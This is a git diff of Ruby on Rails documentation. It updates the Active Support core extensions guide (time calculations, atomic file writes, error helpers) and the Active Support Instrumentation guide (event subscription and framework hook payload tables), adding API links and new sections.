-end_of_quarter (at_end_of_quarter)
-beginning_of_year (at_beginning_of_year)
-end_of_year (at_end_of_year)
-years_ago
-years_since
-prev_year (last_year)
-next_year
-on_weekday?
-on_weekend?
-```
-
 They are analogous. Please refer to their documentation above and take into account the following differences:
 
-* `change` accepts an additional `:usec` option.
+* [`change`][Time#change] accepts an additional `:usec` option.
 * `Time` understands DST, so you get correct DST calculations as in
 
 ```ruby
@@ -3564,17 +3748,29 @@ t.advance(seconds: 1)
 # => Sun Mar 28 03:00:00 +0200 2010
 ```
 
-* If `since` or `ago` jump to a time that can't be expressed with `Time` a `DateTime` object is returned instead.
+* If [`since`][Time#since] or [`ago`][Time#ago] jumps to a time that can't be expressed with `Time` a `DateTime` object is returned instead.
+
+[Time#ago]: https://api.rubyonrails.org/classes/Time.html#method-i-ago
+[Time#change]: https://api.rubyonrails.org/classes/Time.html#method-i-change
+[Time#since]: https://api.rubyonrails.org/classes/Time.html#method-i-since
 
 #### `Time.current`
 
-Active Support defines `Time.current` to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines the instance predicates `past?`, `today?`, and `future?`, all of them relative to `Time.current`.
+Active Support defines [`Time.current`][Time.current] to be today in the current time zone. That's like `Time.now`, except that it honors the user time zone, if defined. It also defines the instance predicates [`past?`][DateAndTime::Calculations#past?], [`today?`][DateAndTime::Calculations#today?], [`tomorrow?`][DateAndTime::Calculations#tomorrow?], [`next_day?`][DateAndTime::Calculations#next_day?], [`yesterday?`][DateAndTime::Calculations#yesterday?], [`prev_day?`][DateAndTime::Calculations#prev_day?] and [`future?`][DateAndTime::Calculations#future?], all of them relative to `Time.current`.
 
 When making Time comparisons using methods which honor the user time zone, make sure to use `Time.current` instead of `Time.now`. There are cases where the user time zone might be in the future compared to the system time zone, which `Time.now` uses by default. This means `Time.now.to_date` may equal `Date.yesterday`.
 
-#### `all_day`, `all_week`, `all_month`, `all_quarter` and `all_year`
+NOTE: Defined in `active_support/core_ext/time/calculations.rb`.
+
+[DateAndTime::Calculations#next_day?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-next_day-3F
+[DateAndTime::Calculations#prev_day?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-prev_day-3F
+[DateAndTime::Calculations#today?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-today-3F
+[DateAndTime::Calculations#tomorrow?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-tomorrow-3F
+[DateAndTime::Calculations#yesterday?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-yesterday-3F
 
-The method `all_day` returns a range representing the whole day of the current time.
+#### `all_day`, `all_week`, `all_month`, `all_quarter`, and `all_year`
+
+The method [`all_day`][DateAndTime::Calculations#all_day] returns a range representing the whole day of the current time.
 
 ```ruby
 now = Time.current
@@ -3583,7 +3779,7 @@ now.all_day
 # => Mon, 09 Aug 2010 00:00:00 UTC +00:00..Mon, 09 Aug 2010 23:59:59 UTC +00:00
 ```
 
-Analogously, `all_week`, `all_month`, `all_quarter` and `all_year` all serve the purpose of generating time ranges.
+Analogously, [`all_week`][DateAndTime::Calculations#all_week], [`all_month`][DateAndTime::Calculations#all_month], [`all_quarter`][DateAndTime::Calculations#all_quarter] and [`all_year`][DateAndTime::Calculations#all_year] all serve the purpose of generating time ranges.
 
 ```ruby
 now = Time.current
@@ -3600,9 +3796,107 @@ now.all_year
 # => Fri, 01 Jan 2010 00:00:00 UTC +00:00..Fri, 31 Dec 2010 23:59:59 UTC +00:00
 ```
 
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+[DateAndTime::Calculations#all_day]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_day
+[DateAndTime::Calculations#all_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_month
+[DateAndTime::Calculations#all_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_quarter
+[DateAndTime::Calculations#all_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_week
+[DateAndTime::Calculations#all_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_year
+[Time.current]: https://api.rubyonrails.org/classes/Time.html#method-c-current
+
+#### `prev_day`, `next_day`
+
+[`prev_day`][Time#prev_day] and [`next_day`][Time#next_day] return the time in the last or next day:
+
+```ruby
+t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900
+t.prev_day               # => 2010-05-07 00:00:00 +0900
+t.next_day               # => 2010-05-09 00:00:00 +0900
+```
+
+NOTE: Defined in `active_support/core_ext/time/calculations.rb`.
+
+[Time#next_day]: https://api.rubyonrails.org/classes/Time.html#method-i-next_day
+[Time#prev_day]: https://api.rubyonrails.org/classes/Time.html#method-i-prev_day
+
+#### `prev_month`, `next_month`
+
+[`prev_month`][Time#prev_month] and [`next_month`][Time#next_month] return the time with the same day in the last or next month:
+
+```ruby
+t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900
+t.prev_month             # => 2010-04-08 00:00:00 +0900
+t.next_month             # => 2010-06-08 00:00:00 +0900
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Time.new(2000, 5, 31).prev_month # => 2000-04-30 00:00:00 +0900
+Time.new(2000, 3, 31).prev_month # => 2000-02-29 00:00:00 +0900
+Time.new(2000, 5, 31).next_month # => 2000-06-30 00:00:00 +0900
+Time.new(2000, 1, 31).next_month # => 2000-02-29 00:00:00 +0900
+```
+
+NOTE: Defined in `active_support/core_ext/time/calculations.rb`.
+
+[Time#next_month]: https://api.rubyonrails.org/classes/Time.html#method-i-next_month
+[Time#prev_month]: https://api.rubyonrails.org/classes/Time.html#method-i-prev_month
+
+#### `prev_year`, `next_year`
+
+[`prev_year`][Time#prev_year] and [`next_year`][Time#next_year] return a time with the same day/month in the last or next year:
+
+```ruby
+t = Time.new(2010, 5, 8) # => 2010-05-08 00:00:00 +0900
+t.prev_year              # => 2009-05-08 00:00:00 +0900
+t.next_year              # => 2011-05-08 00:00:00 +0900
+```
+
+If date is the 29th of February of a leap year, you obtain the 28th:
+
+```ruby
+t = Time.new(2000, 2, 29) # => 2000-02-29 00:00:00 +0900
+t.prev_year               # => 1999-02-28 00:00:00 +0900
+t.next_year               # => 2001-02-28 00:00:00 +0900
+```
+
+NOTE: Defined in `active_support/core_ext/time/calculations.rb`.
+
+[Time#next_year]: https://api.rubyonrails.org/classes/Time.html#method-i-next_year
+[Time#prev_year]: https://api.rubyonrails.org/classes/Time.html#method-i-prev_year
+
+#### `prev_quarter`, `next_quarter`
+
+[`prev_quarter`][DateAndTime::Calculations#prev_quarter] and [`next_quarter`][DateAndTime::Calculations#next_quarter] return the date with the same day in the previous or next quarter:
+
+```ruby
+t = Time.local(2010, 5, 8) # => 2010-05-08 00:00:00 +0300
+t.prev_quarter             # => 2010-02-08 00:00:00 +0200
+t.next_quarter             # => 2010-08-08 00:00:00 +0300
+```
+
+If such a day does not exist, the last day of the corresponding month is returned:
+
+```ruby
+Time.local(2000, 7, 31).prev_quarter  # => 2000-04-30 00:00:00 +0300
+Time.local(2000, 5, 31).prev_quarter  # => 2000-02-29 00:00:00 +0200
+Time.local(2000, 10, 31).prev_quarter # => 2000-07-31 00:00:00 +0300
+Time.local(2000, 11, 31).next_quarter # => 2001-03-01 00:00:00 +0200
+```
+
+`prev_quarter` is aliased to [`last_quarter`][DateAndTime::Calculations#last_quarter].
+
+NOTE: Defined in `active_support/core_ext/date_and_time/calculations.rb`.
+
+[DateAndTime::Calculations#last_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-last_quarter
+[DateAndTime::Calculations#next_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-next_quarter
+[DateAndTime::Calculations#prev_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-prev_quarter
+
 ### Time Constructors
 
-Active Support defines `Time.current` to be `Time.zone.now` if there's a user time zone defined, with fallback to `Time.now`:
+Active Support defines [`Time.current`][Time.current] to be `Time.zone.now` if there's a user time zone defined, with fallback to `Time.now`:
 
 ```ruby
 Time.zone_default
@@ -3611,19 +3905,19 @@ Time.current
 # => Fri, 06 Aug 2010 17:11:58 CEST +02:00
 ```
 
-Analogously to `DateTime`, the predicates `past?`, and `future?` are relative to `Time.current`.
+Analogously to `DateTime`, the predicates [`past?`][DateAndTime::Calculations#past?], and [`future?`][DateAndTime::Calculations#future?] are relative to `Time.current`.
 
 If the time to be constructed lies beyond the range supported by `Time` in the runtime platform, usecs are discarded and a `DateTime` object is returned instead.
 
 #### Durations
 
-Durations can be added to and subtracted from time objects:
+[`Duration`][ActiveSupport::Duration] objects can be added to and subtracted from time objects:
 
 ```ruby
 now = Time.current
 # => Mon, 09 Aug 2010 23:20:05 UTC +00:00
 now + 1.year
-#  => Tue, 09 Aug 2011 23:21:11 UTC +00:00
+# => Tue, 09 Aug 2011 23:21:11 UTC +00:00
 now - 1.week
 # => Mon, 02 Aug 2010 23:21:11 UTC +00:00
 ```
@@ -3640,7 +3934,7 @@ Extensions to `File`
 
 ### `atomic_write`
 
-With the class method `File.atomic_write` you can write to a file in a way that will prevent any reader from seeing half-written content.
+With the class method [`File.atomic_write`][File.atomic_write] you can write to a file in a way that will prevent any reader from seeing half-written content.
 
 The name of the file is passed as an argument, and the method yields a file handle opened for writing. Once the block is done `atomic_write` closes the file handle and completes its job.
 
@@ -3662,39 +3956,22 @@ The auxiliary file is written in a standard directory for temporary files, but y
 
 NOTE: Defined in `active_support/core_ext/file/atomic.rb`.
 
-Extensions to `Marshal`
------------------------
-
-### `load`
-
-Active Support adds constant autoloading support to `load`.
-
-For example, the file cache store deserializes this way:
-
-```ruby
-File.open(file_name) { |f| Marshal.load(f) }
-```
-
-If the cached data refers to a constant that is unknown at that point, the autoloading mechanism is triggered and if it succeeds the deserialization is retried transparently.
-
-WARNING. If the argument is an `IO` it needs to respond to `rewind` to be able to retry. Regular files respond to `rewind`.
-
-NOTE: Defined in `active_support/core_ext/marshal.rb`.
+[File.atomic_write]: https://api.rubyonrails.org/classes/File.html#method-c-atomic_write
 
 Extensions to `NameError`
 -------------------------
 
-Active Support adds `missing_name?` to `NameError`, which tests whether the exception was raised because of the name passed as argument.
+Active Support adds [`missing_name?`][NameError#missing_name?] to `NameError`, which tests whether the exception was raised because of the name passed as argument.
 
-The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully-qualified constant name.
+The name may be given as a symbol or string. A symbol is tested against the bare constant name, a string is against the fully qualified constant name.
 
-TIP: A symbol can represent a fully-qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
+TIP: A symbol can represent a fully qualified constant name as in `:"ActiveRecord::Base"`, so the behavior for symbols is defined for convenience, not because it has to be that way technically.
 
 For example, when an action of `ArticlesController` is called Rails tries optimistically to use `ArticlesHelper`. It is OK that the helper module does not exist, so if an exception for that constant name is raised it should be silenced. But it could be the case that `articles_helper.rb` raises a `NameError` due to an actual unknown constant. That should be reraised. The method `missing_name?` provides a way to distinguish both cases:
 
 ```ruby
 def default_helper_module!
-  module_name = name.sub(/Controller$/, '')
+  module_name = name.delete_suffix("Controller")
   module_path = module_name.underscore
   helper module_path
 rescue LoadError => e
@@ -3706,10 +3983,12 @@ end
 
 NOTE: Defined in `active_support/core_ext/name_error.rb`.
 
+[NameError#missing_name?]: https://api.rubyonrails.org/classes/NameError.html#method-i-missing_name-3F
+
 Extensions to `LoadError`
 -------------------------
 
-Active Support adds `is_missing?` to `LoadError`.
+Active Support adds [`is_missing?`][LoadError#is_missing?] to `LoadError`.
 
 Given a path name `is_missing?` tests whether the exception was raised due to that particular file (except perhaps for the ".rb" extension).
 
@@ -3717,7 +3996,7 @@ For example, when an action of `ArticlesController` is called Rails tries to loa
 
 ```ruby
 def default_helper_module!
-  module_name = name.sub(/Controller$/, '')
+  module_name = name.delete_suffix("Controller")
   module_path = module_name.underscore
   helper module_path
 rescue LoadError => e
@@ -3728,3 +4007,20 @@ end
 ```
 
 NOTE: Defined in `active_support/core_ext/load_error.rb`.
+
+[LoadError#is_missing?]: https://api.rubyonrails.org/classes/LoadError.html#method-i-is_missing-3F
+
+Extensions to Pathname
+-------------------------
+
+### `existence`
+
+The [`existence`][Pathname#existence] method returns the receiver if the named file exists otherwise returns `nil`. It is useful for idioms like this:
+
+```ruby
+content = Pathname.new("file").existence&.read
+```
+
+NOTE: Defined in `active_support/core_ext/pathname/existence.rb`.
+
+[Pathname#existence]: https://api.rubyonrails.org/classes/Pathname.html#method-i-existence
diff --git a/guides/source/active_support_instrumentation.md b/guides/source/active_support_instrumentation.md
index 03c9183eb3374..c0b6129702e2a 100644
--- a/guides/source/active_support_instrumentation.md
+++ b/guides/source/active_support_instrumentation.md
@@ -1,116 +1,141 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Active Support Instrumentation
 ==============================
 
-Active Support is a part of core Rails that provides Ruby language extensions, utilities and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as that inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if it is so desired.
+Active Support is a part of core Rails that provides Ruby language extensions, utilities, and other things. One of the things it includes is an instrumentation API that can be used inside an application to measure certain actions that occur within Ruby code, such as those inside a Rails application or the framework itself. It is not limited to Rails, however. It can be used independently in other Ruby scripts if desired.
 
-In this guide, you will learn how to use the instrumentation API inside of Active Support to measure events inside of Rails and other Ruby code.
+In this guide, you will learn how to use the Active Support's instrumentation API to measure events inside of Rails and other Ruby code.
 
 After reading this guide, you will know:
 
 * What instrumentation can provide.
+* How to add a subscriber to a hook.
 * The hooks inside the Rails framework for instrumentation.
-* Adding a subscriber to a hook.
-* Building a custom instrumentation implementation.
+* How to build a custom instrumentation implementation.
 
 --------------------------------------------------------------------------------
 
-Introduction to instrumentation
+Introduction to Instrumentation
 -------------------------------
 
-The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are several of these within the [Rails framework](#rails-framework-hooks). With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
+The instrumentation API provided by Active Support allows developers to provide hooks which other developers may hook into. There are [several of these](#rails-framework-hooks) within the Rails framework. With this API, developers can choose to be notified when certain events occur inside their application or another piece of Ruby code.
 
-For example, there is a hook provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's another hook around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.
+For example, there is [a hook](#sql-active-record) provided within Active Record that is called every time Active Record uses an SQL query on a database. This hook could be **subscribed** to, and used to track the number of queries during a certain action. There's [another hook](#process-action-action-controller) around the processing of an action of a controller. This could be used, for instance, to track how long a specific action has taken.
 
-You are even able to create your own events inside your application which you can later subscribe to.
+You are even able to [create your own events](#creating-custom-events) inside your application which you can later subscribe to.
 
-Rails framework hooks
----------------------
-
-Within the Ruby on Rails framework, there are a number of hooks provided for common events. These are detailed below.
+Subscribing to an Event
+-----------------------
 
-Action Controller
------------------
+Use [`ActiveSupport::Notifications.subscribe`][] with a block to listen to any notification. Depending on the amount of
+arguments the block takes, you will receive different data.
 
-### write_fragment.action_controller
-
-| Key    | Value            |
-| ------ | ---------------- |
-| `:key` | The complete key |
+The first way to subscribe to an event is to use a block with a single argument. The argument will be an instance of
+[`ActiveSupport::Notifications::Event`][].
 
 ```ruby
-{
-  key: 'posts/1-dashboard-view'
-}
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |event|
+  event.name        # => "process_action.action_controller"
+  event.duration    # => 10 (in milliseconds)
+  event.allocations # => 1826
+  event.payload     # => {:extra=>information}
+
+  Rails.logger.info "#{event} Received!"
+end
 ```
 
-### read_fragment.action_controller
+If you don't need all the data recorded by an Event object, you can also specify a
+block that takes the following five arguments:
 
-| Key    | Value            |
-| ------ | ---------------- |
-| `:key` | The complete key |
+* Name of the event
+* Time when it started
+* Time when it finished
+* A unique ID for the instrumenter that fired the event
+* The payload for the event
 
 ```ruby
-{
-  key: 'posts/1-dashboard-view'
-}
+ActiveSupport::Notifications.subscribe "process_action.action_controller" do |name, started, finished, unique_id, payload|
+  # your own custom stuff
+  Rails.logger.info "#{name} Received! (started: #{started}, finished: #{finished})" # process_action.action_controller Received! (started: 2019-05-05 13:43:57 -0800, finished: 2019-05-05 13:43:58 -0800)
+end
 ```
 
-### expire_fragment.action_controller
-
-| Key    | Value            |
-| ------ | ---------------- |
-| `:key` | The complete key |
+If you are concerned about the accuracy of `started` and `finished` to compute a precise elapsed time, then use [`ActiveSupport::Notifications.monotonic_subscribe`][]. The given block would receive the same arguments as above, but the `started` and `finished` will have values with an accurate monotonic time instead of wall-clock time.
 
 ```ruby
-{
-  key: 'posts/1-dashboard-view'
-}
+ActiveSupport::Notifications.monotonic_subscribe "process_action.action_controller" do |name, started, finished, unique_id, payload|
+  # your own custom stuff
+  duration = finished - started # 1560979.429234 - 1560978.425334
+  Rails.logger.info "#{name} Received! (duration: #{duration})" # process_action.action_controller Received! (duration: 1.0039)
+end
 ```
 
-### exist_fragment?.action_controller
-
-| Key    | Value            |
-| ------ | ---------------- |
-| `:key` | The complete key |
+You may also subscribe to events matching a regular expression. This enables you to subscribe to
+multiple events at once. Here's how to subscribe to everything from `ActionController`:
 
 ```ruby
-{
-  key: 'posts/1-dashboard-view'
-}
+ActiveSupport::Notifications.subscribe(/action_controller/) do |event|
+  # inspect all ActionController events
+end
 ```
 
-### write_page.action_controller
+[`ActiveSupport::Notifications::Event`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications/Event.html
+[`ActiveSupport::Notifications.monotonic_subscribe`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications.html#method-c-monotonic_subscribe
+[`ActiveSupport::Notifications.subscribe`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications.html#method-c-subscribe
+
+Rails Framework Hooks
+---------------------
 
-| Key     | Value             |
-| ------- | ----------------- |
-| `:path` | The complete path |
+Within the Ruby on Rails framework, there are a number of hooks provided for common events. These events and their payloads are detailed below.
 
-```ruby
-{
-  path: '/users/1'
-}
-```
+### Action Cable
 
-### expire_page.action_controller
+#### `perform_action.action_cable`
 
-| Key     | Value             |
-| ------- | ----------------- |
-| `:path` | The complete path |
+| Key              | Value                     |
+| ---------------- | ------------------------- |
+| `:channel_class` | Name of the channel class |
+| `:action`        | The action                |
+| `:data`          | A hash of data            |
 
-```ruby
-{
-  path: '/users/1'
-}
-```
+#### `transmit.action_cable`
+
+| Key              | Value                     |
+| ---------------- | ------------------------- |
+| `:channel_class` | Name of the channel class |
+| `:data`          | A hash of data            |
+| `:via`           | Via                       |
+
+#### `transmit_subscription_confirmation.action_cable`
 
-### start_processing.action_controller
+| Key              | Value                     |
+| ---------------- | ------------------------- |
+| `:channel_class` | Name of the channel class |
+
+#### `transmit_subscription_rejection.action_cable`
+
+| Key              | Value                     |
+| ---------------- | ------------------------- |
+| `:channel_class` | Name of the channel class |
+
+#### `broadcast.action_cable`
+
+| Key             | Value                |
+| --------------- | -------------------- |
+| `:broadcasting` | A named broadcasting |
+| `:message`      | A hash of message    |
+| `:coder`        | The coder            |
+
+### Action Controller
+
+#### `start_processing.action_controller`
 
 | Key           | Value                                                     |
 | ------------- | --------------------------------------------------------- |
 | `:controller` | The controller name                                       |
 | `:action`     | The action                                                |
+| `:request`    | The [`ActionDispatch::Request`][] object                  |
 | `:params`     | Hash of request parameters without any filtered parameter |
 | `:headers`    | Request headers                                           |
 | `:format`     | html/js/json/xml etc                                      |
@@ -129,7 +154,7 @@ Action Controller
 }
 ```
 
-### process_action.action_controller
+#### `process_action.action_controller`
 
 | Key             | Value                                                     |
 | --------------- | --------------------------------------------------------- |
@@ -140,6 +165,8 @@ Action Controller
 | `:format`       | html/js/json/xml etc                                      |
 | `:method`       | HTTP request verb                                         |
 | `:path`         | Request path                                              |
+| `:request`      | The [`ActionDispatch::Request`][] object                  |
+| `:response`     | The [`ActionDispatch::Response`][] object                 |
 | `:status`       | HTTP status code                                          |
 | `:view_runtime` | Amount spent in view in ms                                |
 | `:db_runtime`   | Amount spent executing database queries in ms             |
@@ -153,39 +180,43 @@ Action Controller
   format: :html,
   method: "GET",
   path: "/posts",
+  request: #<ActionDispatch::Request:0x00007ff1cb9bd7b8>,
+  response: #<ActionDispatch::Response:0x00007f8521841ec8>,
   status: 200,
   view_runtime: 46.848,
   db_runtime: 0.157
 }
 ```
 
-### send_file.action_controller
+#### `send_file.action_controller`
 
 | Key     | Value                     |
 | ------- | ------------------------- |
 | `:path` | Complete path to the file |
 
-INFO. Additional keys may be added by the caller.
+Additional keys may be added by the caller.
 
-### send_data.action_controller
+#### `send_data.action_controller`
 
-`ActionController` does not had any specific information to the payload. All options are passed through to the payload.
+`ActionController` does not add any specific information to the payload. All options are passed through to the payload.
 
-### redirect_to.action_controller
+#### `redirect_to.action_controller`
 
-| Key         | Value              |
-| ----------- | ------------------ |
-| `:status`   | HTTP response code |
-| `:location` | URL to redirect to |
+| Key         | Value                                    |
+| ----------- | ---------------------------------------- |
+| `:status`   | HTTP response code                       |
+| `:location` | URL to redirect to                       |
+| `:request`  | The [`ActionDispatch::Request`][] object |
 
 ```ruby
 {
   status: 302,
-  location: "http://localhost:3000/posts/new"
+  location: "http://localhost:3000/posts/new",
+  request: <ActionDispatch::Request:0x00007ff1cb9bd7b8>
 }
 ```
 
-### halted_callback.action_controller
+#### `halted_callback.action_controller`
 
 | Key       | Value                         |
 | --------- | ----------------------------- |
@@ -197,340 +228,806 @@ INFO. Additional keys may be added by the caller.
 }
 ```
 
-Action View
------------
+#### `unpermitted_parameters.action_controller`
 
-### render_template.action_view
+| Key           | Value                                                                         |
+| ------------- | ----------------------------------------------------------------------------- |
+| `:keys`       | The unpermitted keys                                                          |
+| `:context`    | Hash with the following keys: `:controller`, `:action`, `:params`, `:request` |
 
-| Key           | Value                 |
-| ------------- | --------------------- |
-| `:identifier` | Full path to template |
-| `:layout`     | Applicable layout     |
+#### `send_stream.action_controller`
+
+| Key            | Value                                    |
+| -------------- | ---------------------------------------- |
+| `:filename`    | The filename                             |
+| `:type`        | HTTP content type                        |
+| `:disposition` | HTTP content disposition                 |
 
 ```ruby
 {
-  identifier: "/Users/adam/projects/notifications/app/views/posts/index.html.erb",
-  layout: "layouts/application"
+  filename: "subscribers.csv",
+  type: "text/csv",
+  disposition: "attachment"
 }
 ```
 
-### render_partial.action_view
+#### `rate_limit.action_controller`
 
-| Key           | Value                 |
-| ------------- | --------------------- |
-| `:identifier` | Full path to template |
+| Key          | Value                                         |
+| ------------ | --------------------------------------------- |
+| `:request`   | The [`ActionDispatch::Request`][] object      |
+| `:count`     | Number of requests made                       |
+| `:to`        | Maximum number of requests allowed            |
+| `:within`    | Time window for the rate limit                |
+| `:by`        | Identifier for the rate limit (e.g. IP)       |
+| `:name`      | Name of the rate limit                        |
+| `:scope`     | Scope of the rate limit                       |
+| `:cache_key` | The cache key used for storing the rate limit |
+
+### Action Controller: Caching
+
+#### `write_fragment.action_controller`
+
+| Key    | Value            |
+| ------ | ---------------- |
+| `:key` | The complete key |
 
 ```ruby
 {
-  identifier: "/Users/adam/projects/notifications/app/views/posts/_form.html.erb"
+  key: 'posts/1-dashboard-view'
 }
 ```
 
-### render_collection.action_view
+#### `read_fragment.action_controller`
 
-| Key           | Value                                 |
-| ------------- | ------------------------------------- |
-| `:identifier` | Full path to template                 |
-| `:count`      | Size of collection                    |
-| `:cache_hits` | Number of partials fetched from cache |
-
-`:cache_hits` is only included if the collection is rendered with `cached: true`.
+| Key    | Value            |
+| ------ | ---------------- |
+| `:key` | The complete key |
 
 ```ruby
 {
-  identifier: "/Users/adam/projects/notifications/app/views/posts/_post.html.erb",
-  count: 3,
-  cache_hits: 0
+  key: 'posts/1-dashboard-view'
 }
 ```
 
-Active Record
-------------
-
-### sql.active_record
+#### `expire_fragment.action_controller`
 
-| Key              | Value                                    |
-| ---------------- | ---------------------------------------- |
-| `:sql`           | SQL statement                            |
-| `:name`          | Name of the operation                    |
-| `:connection_id` | `self.object_id`                         |
-| `:binds`         | Bind parameters                          |
-| `:cached`        | `true` is added when cached queries used |
-
-INFO. The adapters will add their own data as well.
+| Key    | Value            |
+| ------ | ---------------- |
+| `:key` | The complete key |
 
 ```ruby
 {
-  sql: "SELECT \"posts\".* FROM \"posts\" ",
-  name: "Post Load",
-  connection_id: 70307250813140,
-  binds: []
+  key: 'posts/1-dashboard-view'
 }
 ```
 
-### instantiation.active_record
+#### `exist_fragment?.action_controller`
 
-| Key              | Value                                     |
-| ---------------- | ----------------------------------------- |
-| `:record_count`  | Number of records that instantiated       |
-| `:class_name`    | Record's class                            |
+| Key    | Value            |
+| ------ | ---------------- |
+| `:key` | The complete key |
 
 ```ruby
 {
-  record_count: 1,
-  class_name: "User"
+  key: 'posts/1-dashboard-view'
 }
 ```
 
-Action Mailer
--------------
+### Action Dispatch
+
+#### `process_middleware.action_dispatch`
+
+| Key           | Value                  |
+| ------------- | ---------------------- |
+| `:middleware` | Name of the middleware |
 
-### receive.action_mailer
+#### `redirect.action_dispatch`
 
-| Key           | Value                                        |
-| ------------- | -------------------------------------------- |
-| `:mailer`     | Name of the mailer class                     |
-| `:message_id` | ID of the message, generated by the Mail gem |
-| `:subject`    | Subject of the mail                          |
-| `:to`         | To address(es) of the mail                   |
-| `:from`       | From address of the mail                     |
-| `:bcc`        | BCC addresses of the mail                    |
-| `:cc`         | CC addresses of the mail                     |
-| `:date`       | Date of the mail                             |
-| `:mail`       | The encoded form of the mail                 |
+| Key         | Value                                    |
+| ------------------ | ---------------------------------------- |
+| `:status`          | HTTP response code                       |
+| `:location`        | URL to redirect to                       |
+| `:request`         | The [`ActionDispatch::Request`][] object |
+| `:source_location` | Source location of redirect in routes    |
+
+#### `request.action_dispatch`
+
+| Key         | Value                                    |
+| ----------- | ---------------------------------------- |
+| `:request`  | The [`ActionDispatch::Request`][] object |
+
+[`ActionDispatch::Request`]: https://api.rubyonrails.org/classes/ActionDispatch/Request.html
+[`ActionDispatch::Response`]: https://api.rubyonrails.org/classes/ActionDispatch/Response.html
+
+### Action Mailbox
+
+#### `process.action_mailbox`
+
+| Key              | Value                                                  |
+| -----------------| ------------------------------------------------------ |
+| `:mailbox`       | Instance of the Mailbox class inheriting from [`ActionMailbox::Base`][] |
+| `:inbound_email` | Hash with data about the inbound email being processed |
 
 ```ruby
 {
-  mailer: "Notification",
-  message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
-  subject: "Rails Guides",
-  to: ["users@rails.com", "ddh@rails.com"],
-  from: ["me@rails.com"],
-  date: Sat, 10 Mar 2012 14:18:09 +0100,
-  mail: "..." # omitted for brevity
+  mailbox: #<RepliesMailbox:0x00007f9f7a8388>,
+  inbound_email: {
+    id: 1,
+    message_id: "0CB459E0-0336-41DA-BC88-E6E28C697DDB@37signals.com",
+    status: "processing"
+  }
 }
 ```
 
-### deliver.action_mailer
+[`ActionMailbox::Base`]: https://api.rubyonrails.org/classes/ActionMailbox/Base.html
 
-| Key           | Value                                        |
-| ------------- | -------------------------------------------- |
-| `:mailer`     | Name of the mailer class                     |
-| `:message_id` | ID of the message, generated by the Mail gem |
-| `:subject`    | Subject of the mail                          |
-| `:to`         | To address(es) of the mail                   |
-| `:from`       | From address of the mail                     |
-| `:bcc`        | BCC addresses of the mail                    |
-| `:cc`         | CC addresses of the mail                     |
-| `:date`       | Date of the mail                             |
-| `:mail`       | The encoded form of the mail                 |
+### Action Mailer
+
+#### `deliver.action_mailer`
+
+| Key                   | Value                                                |
+| --------------------- | ---------------------------------------------------- |
+| `:mailer`             | Name of the mailer class                             |
+| `:message_id`         | ID of the message, generated by the Mail gem         |
+| `:subject`            | Subject of the mail                                  |
+| `:to`                 | To address(es) of the mail                           |
+| `:from`               | From address of the mail                             |
+| `:bcc`                | BCC addresses of the mail                            |
+| `:cc`                 | CC addresses of the mail                             |
+| `:date`               | Date of the mail                                     |
+| `:mail`               | The encoded form of the mail                         |
+| `:perform_deliveries` | Whether delivery of this message is performed or not |
 
 ```ruby
 {
   mailer: "Notification",
   message_id: "4f5b5491f1774_181b23fc3d4434d38138e5@mba.local.mail",
   subject: "Rails Guides",
-  to: ["users@rails.com", "ddh@rails.com"],
+  to: ["users@rails.com", "dhh@rails.com"],
   from: ["me@rails.com"],
   date: Sat, 10 Mar 2012 14:18:09 +0100,
-  mail: "..." # omitted for brevity
+  mail: "...", # omitted for brevity
+  perform_deliveries: true
 }
 ```
 
-Active Support
---------------
-
-### cache_read.active_support
-
-| Key                | Value                                             |
-| ------------------ | ------------------------------------------------- |
-| `:key`             | Key used in the store                             |
-| `:hit`             | If this read is a hit                             |
-| `:super_operation` | :fetch is added when a read is used with `#fetch` |
-
-### cache_generate.active_support
+#### `process.action_mailer`
 
-This event is only used when `#fetch` is called with a block.
-
-| Key    | Value                 |
-| ------ | --------------------- |
-| `:key` | Key used in the store |
-
-INFO. Options passed to fetch will be merged with the payload when writing to the store
+| Key           | Value                    |
+| ------------- | ------------------------ |
+| `:mailer`     | Name of the mailer class |
+| `:action`     | The action               |
+| `:args`       | The arguments            |
 
 ```ruby
 {
-  key: 'name-of-complicated-computation'
+  mailer: "Notification",
+  action: "welcome_email",
+  args: []
 }
 ```
 
+### Action View
 
-### cache_fetch_hit.active_support
-
-This event is only used when `#fetch` is called with a block.
-
